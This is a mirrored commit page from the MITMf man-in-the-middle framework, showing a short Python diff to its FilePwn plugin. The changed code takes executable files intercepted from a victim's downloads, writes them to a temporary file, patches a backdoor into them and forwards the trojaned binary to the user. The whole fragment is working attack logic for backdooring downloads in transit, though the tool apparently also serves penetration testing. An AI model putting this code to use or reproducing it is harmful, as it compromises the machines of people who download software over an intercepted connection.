mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-19 21:13:26 -07:00
fixed error when patching binaries
This commit is contained in:
parent
bf4331a1a3
commit
52c636a50d
1 changed files with 12 additions and 3 deletions
|
@ -278,9 +278,18 @@ class FilePwn(Plugin):
|
|||
return {'request':request,'data':bd_zip}
|
||||
|
||||
elif content_header in self.binaryMimeTypes:
|
||||
print "[+] Detected supported binary type!"
|
||||
bd_binary = self.binaryGrinder(data)
|
||||
return {'request':request,'data':bd_binary}
|
||||
print "[+] Detected supported binary type!"
|
||||
fd, tmpFile = mkstemp()
|
||||
with open(tmpFile, 'w') as f:
|
||||
f.write(data)
|
||||
|
||||
patchb = self.binaryGrinder(tmpFile)
|
||||
|
||||
if patchb:
|
||||
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
|
||||
os.remove('./backdoored/' + os.path.basename(tmpFile))
|
||||
print "[*] Patching complete, forwarding to user."
|
||||
return {'request':request,'data':bd_binary}
|
||||
|
||||
else:
|
||||
print "[-] File is not of supported Content-Type: %s" % content_header
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue